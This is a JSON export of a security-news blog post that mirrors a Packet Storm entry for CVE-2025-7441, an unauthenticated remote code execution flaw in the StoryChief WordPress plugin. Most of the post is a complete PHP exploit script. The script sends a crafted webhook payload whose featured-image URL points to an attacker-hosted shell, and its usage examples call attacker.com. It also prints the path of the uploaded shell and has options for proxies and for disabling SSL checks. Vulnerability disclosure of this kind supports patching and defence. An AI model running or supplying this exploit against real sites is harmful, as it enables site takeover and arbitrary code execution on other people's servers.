{"id":29732,"date":"2025-12-09T12:37:31","date_gmt":"2025-12-09T12:37:31","guid":{"rendered":"http:\/\/localhost\/?p=29732"},"modified":"2025-12-09T12:37:31","modified_gmt":"2025-12-09T12:37:31","slug":"wordpress-storychief-1042-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29732","title":{"rendered":"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:18&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook featured image functionality&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212608&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7441&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : WordPress StoryChief 1.0.42 Unauthenticated Remote Code Execution via Featured Image                                        |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/wordpress.org\/plugins\/story-chief\/                                                                                  |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-7441 \\n    \\n                     https:\/\/packetstorm.news\/files\/id\/210218\/\\n    \\n                     https:\/\/wpscan.com\/vulnerability\/12349\\n    \\n    [+] Summary\\n       \\n        A critical security vulnerability exists in the WordPress Story Chief plugin that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook featured image functionality. \\n    \\tThe vulnerability enables attackers to inject and execute arbitrary PHP code through crafted POST requests.\\n    \\t\\n    \\tThe vulnerability exists in the Story Chief plugin&#8217;s webhook endpoint that handles post creation from external sources. \\n    \\tThe plugin fails to properly validate and sanitize featured image URLs, allowing attackers to:\\n    \\n    1. Bypass authentication via the webhook interface\\n    2. Inject malicious PHP files through featured image URLs\\n    3. Execute arbitrary code on the target server\\n    4. Achieve complete system compromise\\n    \\n    [+] Usage: \\n    \\n    Usage: php poc.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.jpg\\n    \\n    [+] POC :\\n    \\n    \\u003c?php\\n    \/**\\n     * CVE-2025-7441 Exploit &#8211; Story Chief WordPress Plugin RCE\\n     * By: indoushka\\n     *\/\\n    \\n    class StoryChiefExploit {\\n        private $debug = false;\\n        \\n        public function __construct($debug = false) {\\n            $this-\\u003edebug = $debug;\\n        }\\n        \\n        private function log($message, $level = \\&#8221;INFO\\&#8221;) {\\n            echo \\&#8221;[$level] $message\\\\n\\&#8221;;\\n        }\\n        \\n        private function debugLog($message) {\\n            if ($this-\\u003edebug) {\\n                echo \\&#8221;[DEBUG] $message\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        public function parseArgs($argv) {\\n            $options = [\\n                &#8216;url&#8217; =\\u003e &#8221;,\\n                &#8216;shell&#8217; =\\u003e &#8221;,\\n                &#8216;key&#8217; =\\u003e &#8221;,\\n                &#8216;header&#8217; =\\u003e [],\\n                &#8216;timeout&#8217; =\\u003e 15,\\n                &#8216;retries&#8217; =\\u003e 2,\\n                &#8216;backoff&#8217; =\\u003e 0.5,\\n                &#8216;proxy&#8217; =\\u003e &#8221;,\\n                &#8216;no_verify&#8217; =\\u003e false,\\n                &#8216;print_only&#8217; =\\u003e false,\\n                &#8216;use_curl&#8217; =\\u003e false,\\n                &#8216;debug&#8217; =\\u003e false,\\n                &#8216;title&#8217; =\\u003e &#8216;Test post&#8217;,\\n                &#8216;excerpt&#8217; =\\u003e &#8221;\\n            ];\\n            \\n            for ($i = 1; $i \\u003c count($argv); $i++) {\\n                switch ($argv[$i]) {\\n                    case &#8216;-u&#8217;:\\n                    case &#8216;&#8211;url&#8217;:\\n                        $options[&#8216;url&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;-shell&#8217;:\\n                        $options[&#8216;shell&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;-k&#8217;:\\n                    case &#8216;&#8211;key&#8217;:\\n                        $options[&#8216;key&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;header&#8217;:\\n                        $options[&#8216;header&#8217;][] = $argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;timeout&#8217;:\\n                        $options[&#8216;timeout&#8217;] = (int)$argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;retries&#8217;:\\n                        $options[&#8216;retries&#8217;] = (int)$argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;backoff&#8217;:\\n                        $options[&#8216;backoff&#8217;] = (float)$argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;proxy&#8217;:\\n                        $options[&#8216;proxy&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;no-verify&#8217;:\\n                        $options[&#8216;no_verify&#8217;] = true;\\n                        break;\\n                    case &#8216;&#8211;print-only&#8217;:\\n                        $options[&#8216;print_only&#8217;] = true;\\n                        break;\\n                    case &#8216;&#8211;use-curl&#8217;:\\n                        $options[&#8216;use_curl&#8217;] = true;\\n                        break;\\n                    case &#8216;&#8211;debug&#8217;:\\n                        $options[&#8216;debug&#8217;] = true;\\n                        $this-\\u003edebug = true;\\n                        break;\\n                    case &#8216;&#8211;title&#8217;:\\n                        $options[&#8216;title&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;excerpt&#8217;:\\n                        $options[&#8216;excerpt&#8217;] = $argv[++$i];\\n                        break;\\n                    case &#8216;&#8211;help&#8217;:\\n                        $this-\\u003eshowHelp();\\n                        exit(0);\\n                }\\n            }\\n            \\n            if (empty($options[&#8216;url&#8217;]) || empty($options[&#8216;shell&#8217;])) {\\n                $this-\\u003elog(\\&#8221;Error: URL and shell parameters are required\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                $this-\\u003eshowHelp();\\n                exit(1);\\n            }\\n            \\n            return $options;\\n        }\\n        \\n        private function showHelp() {\\n            echo \\&#8221;CVE-2025-7441 Exploit &#8211; Story Chief WordPress Plugin RCE\\\\n\\&#8221;;\\n            echo \\&#8221;Usage: php exploit.php -u \\u003curl\\u003e -shell \\u003cshell_url\\u003e [options]\\\\n\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  -u, &#8211;url        Webhook URL or site root (required)\\\\n\\&#8221;;\\n            echo \\&#8221;  -shell           Shell\/image URL to include as featured image (required)\\\\n\\&#8221;;\\n            echo \\&#8221;  -k, &#8211;key        Encryption key (hex). Leave empty for default\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;header         Custom header, format: Key:Value\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;timeout        Request timeout seconds (default: 15)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;retries        Retry attempts on failure (default: 2)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;backoff        Backoff factor between retries (default: 0.5)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;proxy          HTTP\/HTTPS proxy URL\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;no-verify      Disable SSL verification\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;print-only     Print payload only; do not send\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;use-curl       Force use of curl instead of file_get_contents\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;debug          Print debug info\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;title          Post title (default: Test post)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;excerpt        Post excerpt\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;help           Show this help\\\\n\\\\n\\&#8221;;\\n            echo \\&#8221;Examples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.jpg\\\\n\\&#8221;;\\n            echo \\&#8221;  php exploit.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.php &#8211;debug\\\\n\\&#8221;;\\n        }\\n        \\n        private function normalizeWebhookUrl($url) {\\n            $parsed = parse_url($url);\\n            \\n            if (empty($parsed[&#8216;scheme&#8217;]) || empty($parsed[&#8216;host&#8217;])) {\\n                throw new Exception(\\&#8221;invalid_url\\&#8221;);\\n            }\\n            \\n            if (empty($parsed[&#8216;path&#8217;]) || $parsed[&#8216;path&#8217;] === &#8216;\/&#8217;) {\\n                $parsed[&#8216;path&#8217;] = &#8216;\/wp-json\/storychief\/webhook&#8217;;\\n            }\\n            \\n            $scheme = $parsed[&#8216;scheme&#8217;];\\n            $host = $parsed[&#8216;host&#8217;];\\n            $port = isset($parsed[&#8216;port&#8217;]) ? &#8216;:&#8217; . $parsed[&#8216;port&#8217;] : &#8221;;\\n            $path = $parsed[&#8216;path&#8217;];\\n            \\n            return \\&#8221;$scheme:\/\/$host$port$path\\&#8221;;\\n        }\\n        \\n        private function validateShellUrl($shellUrl) {\\n            $parsed = parse_url($shellUrl);\\n            \\n            if (empty($parsed[&#8216;scheme&#8217;]) || empty($parsed[&#8216;host&#8217;])) {\\n                throw new Exception(\\&#8221;invalid_shell_url\\&#8221;);\\n            }\\n            \\n            return $parsed;\\n        }\\n        \\n        private function extractFilename($shellParsed) {\\n            $name = basename($shellParsed[&#8216;path&#8217;]);\\n            if (empty($name)) {\\n                $name = \\&#8221;shell.php\\&#8221;;\\n            }\\n            return $name;\\n        }\\n        \\n        private function checkShellUrl($shellUrl, $timeout) {\\n            $context = stream_context_create([\\n                &#8216;http&#8217; =\\u003e [&#8216;timeout&#8217; =\\u003e $timeout],\\n                &#8216;ssl&#8217; =\\u003e [&#8216;verify_peer&#8217; =\\u003e false, &#8216;verify_peer_name&#8217; =\\u003e false]\\n            ]);\\n            \\n            \/\/ Try HEAD first\\n            $headers = @get_headers($shellUrl, 0, $context);\\n            if ($headers \\u0026\\u0026 strpos($headers[0], &#8216;200&#8217;) !== false) {\\n                $this-\\u003edebugLog(\\&#8221;shell HEAD status: 200\\&#8221;);\\n                return true;\\n            }\\n            \\n            \/\/ Try GET if HEAD failed\\n            $content = @file_get_contents($shellUrl, false, $context);\\n            if ($content !== false) {\\n                $this-\\u003edebugLog(\\&#8221;shell GET successful\\&#8221;);\\n                return true;\\n            }\\n            \\n            \/\/ Fallback to curl if available\\n            if (function_exists(&#8216;curl_init&#8217;)) {\\n                $ch = curl_init();\\n                curl_setopt_array($ch, [\\n                    CURLOPT_URL =\\u003e $shellUrl,\\n                    CURLOPT_NOBODY =\\u003e true,\\n                    CURLOPT_TIMEOUT =\\u003e $timeout,\\n                    CURLOPT_RETURNTRANSFER =\\u003e true,\\n                    CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                    CURLOPT_FOLLOWLOCATION =\\u003e true\\n                ]);\\n                \\n                curl_exec($ch);\\n                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n                curl_close($ch);\\n                \\n                if ($httpCode === 200) {\\n                    $this-\\u003edebugLog(\\&#8221;shell CURL status: 200\\&#8221;);\\n                    return true;\\n                }\\n            }\\n            \\n            return false;\\n        }\\n        \\n        private function buildPayload($title, $shellUrl, $excerpt) {\\n            return [\\n                \\&#8221;meta\\&#8221; =\\u003e [\\&#8221;event\\&#8221; =\\u003e \\&#8221;publish\\&#8221;],\\n                \\&#8221;data\\&#8221; =\\u003e [\\n                    \\&#8221;title\\&#8221; =\\u003e $title,\\n                    \\&#8221;excerpt\\&#8221; =\\u003e $excerpt,\\n                    \\&#8221;featured_image\\&#8221; =\\u003e [\\n                        \\&#8221;data\\&#8221; =\\u003e [\\n                            \\&#8221;sizes\\&#8221; =\\u003e [\\&#8221;full\\&#8221; =\\u003e $shellUrl],\\n                            \\&#8221;alt\\&#8221; =\\u003e \\&#8221;demo shell\\&#8221;\\n                        ]\\n                    ]\\n                ]\\n            ];\\n        }\\n        \\n        private function signPayload($payload, $keyBytes) {\\n            $signed = json_encode($payload, JSON_UNESCAPED_SLASHES);\\n            $signed = str_replace(&#8216;\/&#8217;, &#8216;\\\\\\\\\/&#8217;, $signed);\\n            \\n            if (empty($keyBytes)) {\\n                $mac = hash(&#8216;sha256&#8217;, $signed);\\n            } else {\\n                $mac = hash_hmac(&#8216;sha256&#8217;, $signed, $keyBytes);\\n            }\\n            \\n            $payload[\\&#8221;meta\\&#8221;][\\&#8221;mac\\&#8221;] = $mac;\\n            return array($signed, $mac);\\n        }\\n        \\n        private function prepareHeaders($customHeaders) {\\n            $headers = [\\&#8221;Content-Type: application\/json\\&#8221;];\\n            \\n            foreach ($customHeaders as $header) {\\n                if (strpos($header, &#8216;:&#8217;) !== false) {\\n                    list($key, $value) = explode(&#8216;:&#8217;, $header, 2);\\n                    $headers[] = trim($key) . &#8216;: &#8216; . trim($value);\\n                }\\n            }\\n            \\n            return $headers;\\n        }\\n        \\n        private function sendWithFileGetContents($url, $payload, $headers, $timeout, $verify) {\\n            $opts = [\\n                &#8216;http&#8217; =\\u003e [\\n                    &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n                    &#8216;header&#8217; =\\u003e implode(\\&#8221;\\\\r\\\\n\\&#8221;, $headers),\\n                    &#8216;content&#8217; =\\u003e json_encode($payload),\\n                    &#8216;timeout&#8217; =\\u003e $timeout,\\n                    &#8216;ignore_errors&#8217; =\\u003e true\\n                ]\\n            ];\\n            \\n            if (!$verify) {\\n                $opts[&#8216;ssl&#8217;] = [\\n                    &#8216;verify_peer&#8217; =\\u003e false,\\n                    &#8216;verify_peer_name&#8217; =\\u003e false\\n                ];\\n            }\\n            \\n            $context = stream_context_create($opts);\\n            $response = @file_get_contents($url, false, $context);\\n            \\n            if ($response === false) {\\n                return array(&#8221;, 0, array());\\n            }\\n            \\n            $statusCode = 200;\\n            if (isset($http_response_header[0])) {\\n                preg_match(&#8216;\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/&#8217;, $http_response_header[0], $matches);\\n                $statusCode = isset($matches[1]) ? (int)$matches[1] : 200;\\n            }\\n            \\n            return array($response, $statusCode, $http_response_header);\\n        }\\n        \\n        private function sendWithCurl($url, $payload, $headers, $timeout, $verify) {\\n            $ch = curl_init();\\n            \\n            $curlHeaders = [];\\n            foreach ($headers as $header) {\\n                $curlHeaders[] = $header;\\n            }\\n            \\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e json_encode($payload),\\n                CURLOPT_HTTPHEADER =\\u003e $curlHeaders,\\n                CURLOPT_TIMEOUT =\\u003e $timeout,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e $verify,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e $verify ? 2 : 0,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            return array($response, $statusCode, array());\\n        }\\n        \\n        private function handleResponseText($outText, $targetUrl) {\\n            $out = trim($outText);\\n            \\n            if (empty($out) || strpos($out, &#8216;\\u003c&#8217;) === 0) {\\n                return array(false, null);\\n            }\\n            \\n            $json = json_decode($out, true);\\n            if (json_last_error() !== JSON_ERROR_NONE) {\\n                return array(false, null);\\n            }\\n            \\n            \/\/ Search for permalink in response\\n            $permalink = $this-\\u003efindFirstKey($json, array(\\&#8221;permalink\\&#8221;, \\&#8221;permalink_url\\&#8221;, \\&#8221;link\\&#8221;, \\&#8221;url\\&#8221;));\\n            if ($permalink) {\\n                return array(true, $permalink);\\n            }\\n            \\n            \/\/ Search for post ID\\n            $idVal = $this-\\u003efindFirstKey($json, array(\\&#8221;id\\&#8221;, \\&#8221;post_id\\&#8221;));\\n            if ($idVal \\u0026\\u0026 (is_int($idVal) || is_numeric($idVal))) {\\n                $pid = (int)$idVal;\\n                $preview = $targetUrl . \\&#8221;\/?p=$pid\\u0026preview=true\\&#8221;;\\n                return array(true, $preview);\\n            }\\n            \\n            return array(true, null);\\n        }\\n        \\n        private function findFirstKey($obj, $names) {\\n            if (is_array($obj)) {\\n                foreach ($obj as $k =\\u003e $v) {\\n                    if (in_array($k, $names) \\u0026\\u0026 is_string($v)) {\\n                        return $v;\\n                    }\\n                    \\n                    if (is_array($v)) {\\n                        $res = $this-\\u003efindFirstKey($v, $names);\\n                        if ($res !== null) {\\n                            return $res;\\n                        }\\n                    }\\n                }\\n            }\\n            \\n            return null;\\n        }\\n        \\n        public function execute($args) {\\n            try {\\n                $key = empty($args[&#8216;key&#8217;]) ? &#8221; : hex2bin($args[&#8216;key&#8217;]);\\n                if ($key === false) {\\n                    $this-\\u003elog(\\&#8221;Error: invalid key\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                    return 1;\\n                }\\n            } catch (Exception $e) {\\n                $this-\\u003elog(\\&#8221;Error: invalid key format\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n            \\n            try {\\n                $targetUrl = $this-\\u003enormalizeWebhookUrl($args[&#8216;url&#8217;]);\\n            } catch (Exception $e) {\\n                $this-\\u003elog(\\&#8221;Error: invalid URL\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n            \\n            try {\\n                $shellParsed = $this-\\u003evalidateShellUrl($args[&#8216;shell&#8217;]);\\n            } catch (Exception $e) {\\n                $this-\\u003elog(\\&#8221;Error: invalid shell URL\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n            \\n            $filename = $this-\\u003eextractFilename($shellParsed);\\n            $shellOk = $this-\\u003echeckShellUrl($args[&#8216;shell&#8217;], $args[&#8216;timeout&#8217;]);\\n            \\n            if (!$shellOk) {\\n                $this-\\u003elog(\\&#8221;Error: shell URL is not reachable (not HTTP 200)\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n            \\n            $payload = $this-\\u003ebuildPayload($args[&#8216;title&#8217;], $args[&#8216;shell&#8217;], $args[&#8216;excerpt&#8217;]);\\n            list($signed, $mac) = $this-\\u003esignPayload($payload, $key);\\n            $headers = $this-\\u003eprepareHeaders($args[&#8216;header&#8217;]);\\n            \\n            if ($args[&#8216;print_only&#8217;]) {\\n                if ($this-\\u003edebug) {\\n                    $this-\\u003edebugLog(\\&#8221;payload: \\&#8221; . json_encode($payload, JSON_PRETTY_PRINT));\\n                }\\n                echo json_encode($payload, JSON_PRETTY_UNICODE | JSON_PRETTY_PRINT) . \\&#8221;\\\\n\\&#8221;;\\n                return 0;\\n            }\\n            \\n            $verify = !$args[&#8216;no_verify&#8217;];\\n            \\n            try {\\n                if (function_exists(&#8216;curl_init&#8217;) \\u0026\\u0026 $args[&#8216;use_curl&#8217;]) {\\n                    list($outText, $statusCode, $respHeaders) = $this-\\u003esendWithCurl($targetUrl, $payload, $headers, $args[&#8216;timeout&#8217;], $verify);\\n                } else {\\n                    list($outText, $statusCode, $respHeaders) = $this-\\u003esendWithFileGetContents($targetUrl, $payload, $headers, $args[&#8216;timeout&#8217;], $verify);\\n                }\\n            } catch (Exception $e) {\\n                $this-\\u003edebugLog(\\&#8221;send error: \\&#8221; . $e-\\u003egetMessage());\\n                $this-\\u003elog(\\&#8221;Error: request failed\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n            \\n            list($ok, $link) = $this-\\u003ehandleResponseText($outText, $args[&#8216;url&#8217;]);\\n            \\n            if ($ok) {\\n                $ym = date(&#8216;Y\/m&#8217;);\\n                $path = \\&#8221;wp-content\/uploads\/$ym\/$filename\\&#8221;;\\n                $this-\\u003elog(\\&#8221;Uploaded: $path\\&#8221;, \\&#8221;SUCCESS\\&#8221;);\\n                \\n                if ($link) {\\n                    $this-\\u003elog(\\&#8221;Post URL: $link\\&#8221;, \\&#8221;INFO\\&#8221;);\\n                }\\n                \\n                return 0;\\n            } else {\\n                if ($this-\\u003edebug) {\\n                    $this-\\u003edebugLog(\\&#8221;server response: \\&#8221; . substr($outText, 0, 1000));\\n                }\\n                $this-\\u003elog(\\&#8221;Error: upload failed or endpoint returned non-JSON\/HTML\\&#8221;, \\&#8221;ERROR\\&#8221;);\\n                return 1;\\n            }\\n        }\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        $exploit = new StoryChiefExploit();\\n        $args = $exploit-\\u003eparseArgs($argv);\\n        exit($exploit-\\u003eexecute($args));\\n    } else {\\n        echo \\&#8221;This script is intended for command line use only.\\\\n\\&#8221;;\\n    }\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212608&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212608\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:18&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-29732","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29732\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:18&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29732\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-09T12:37:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608\",\"datePublished\":\"2025-12-09T12:37:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732\"},\"wordCount\":2260,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29732#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732\",\"name\":\"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-09T12:37:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29732\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29732#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution_PACKETSTORM:212608\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero 